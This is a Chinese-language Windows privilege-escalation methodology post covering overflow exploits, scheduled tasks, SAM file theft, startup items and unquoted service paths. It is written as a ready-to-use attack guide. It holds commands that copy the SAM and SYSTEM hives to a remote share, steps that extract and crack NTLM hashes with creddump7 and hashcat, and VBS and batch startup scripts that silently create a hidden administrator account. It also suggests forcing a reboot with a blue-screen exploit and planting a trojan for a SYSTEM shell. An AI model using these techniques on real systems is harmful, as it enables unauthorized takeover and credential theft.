Windows提权方法论
- 1.溢出漏洞提权
- 2.计划任务提权
- 3.SAM文件提权
- 4.启动项提权
- 5.不带引号的服务路径提权
1.溢出漏洞提权
溢出提权攻击的基本原理是,通过向目标系统发送过长的输入数据,超出了程序所分配的缓冲区大小,导致溢出。攻击者可以利用这个溢出的缓冲区来修改程序的执行流,使其执行恶意代码或者达到提升权限的目的
可以使用windows提权辅助工具:
windows提权辅助工具
或windows提权辅助在线搜索工具:
windows提权辅助在线搜索工具
之后可以利用EXP进行提权
2.计划任务提权
查看计算机上以管理权限运行的计划任务:
schtasks /query /fo list /v > schtasks.txt
找到Root权限运行的或其他管理员权限运行的任务:
直接查看导出文档的任务名:上例为\OneDrive Standalone Update Task-S-1-5-21-577854666-1229694714-980117232-1000
如果我们对以高权限运行的任务所在目录具有写入权限,就可以使用恶意程序覆盖掉原来的程序,那么任务定时执行的时候会自动执行我们的提权脚本
3.SAM文件提权
SAM和SYSTEM文件位于C:\Windows\System32\config
在 Windows 运行时,文件已锁定:
文件的备份可能存在于C:\Windows\Repair or C:\Windows\System32\config\RegBack
实战:
1、copy sam文件
copy C:\Windows\Repair\SAM \\192.168.175.130\tools\
copy C:\Windows\Repair\SYSTEM \\192.168.175.130\tools\
2、下载信用套件工具提取哈希
git clone https://github.com/Neohapsis/creddump7.git
python2 pwdump.py SYSTEM SAM
3、使用hashcat破解管理员用户哈希
hashcat -m 1000 --force a9fdfa038c4b75ebc76dc855dd74f0da rockyou.txt
4.启动项提权
先找到系统启动项的位置:
1、Win + R 快捷键打开运行窗口
2、输入 shell:Startup
,点击“确定”即可
3、跳转到自启动文件夹中
一般来讲,默认路径是这个:C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp
在启动项中创建vbs或bat脚本:
vbs:
set wshshell=createobject("wscript.shell")
a=wshshell.run("cmd.exe /c net user 用户名 密码 /add",0)
b=wshshell.run("cmd.exe /c net localgroup administrators 用户名 /add",0)
bat:
net user 用户名 密码 /add
net localgroup administrators 用户名 /add
接下来需要等待机器重启并以较大权限的账号登录,暴力一点可以配合漏洞打蓝屏poc强制重启
bat脚本运行时会有个dos弹一下,vbs不会弹,建议使用vbs脚本
5.不带引号的服务路径提权
当Windows服务运行时,会发生以下两种情况之一。如果给出了可执行文件,并且引用了完整路径,则系统会按字面解释它并执行。但是,如果服务的二进制路径未包含在引号中,则操作系统将会执行找到的空格分隔的服务路径的第一个实例
路径没有包含在引号中,服务会按照以下顺序依次执行:
c:\program.exe
c:\program files.exe
c:\program files (x86)\grasssoft\macro.exe
c:\program files (x86)\grasssoft\macro expert\MacroService.exe
假如存在漏洞路径,我们可以将木马放到上面的路径下,然后重启机器,此时,反弹回来的shell,则是一个system的shell
使用以下命令查看系统中错误配置的路径:
wmic service get name,displayname,pathname,startmode |findstr /i "Auto" |findstr /i /v "C:\Windows\\" |findstr /i /v """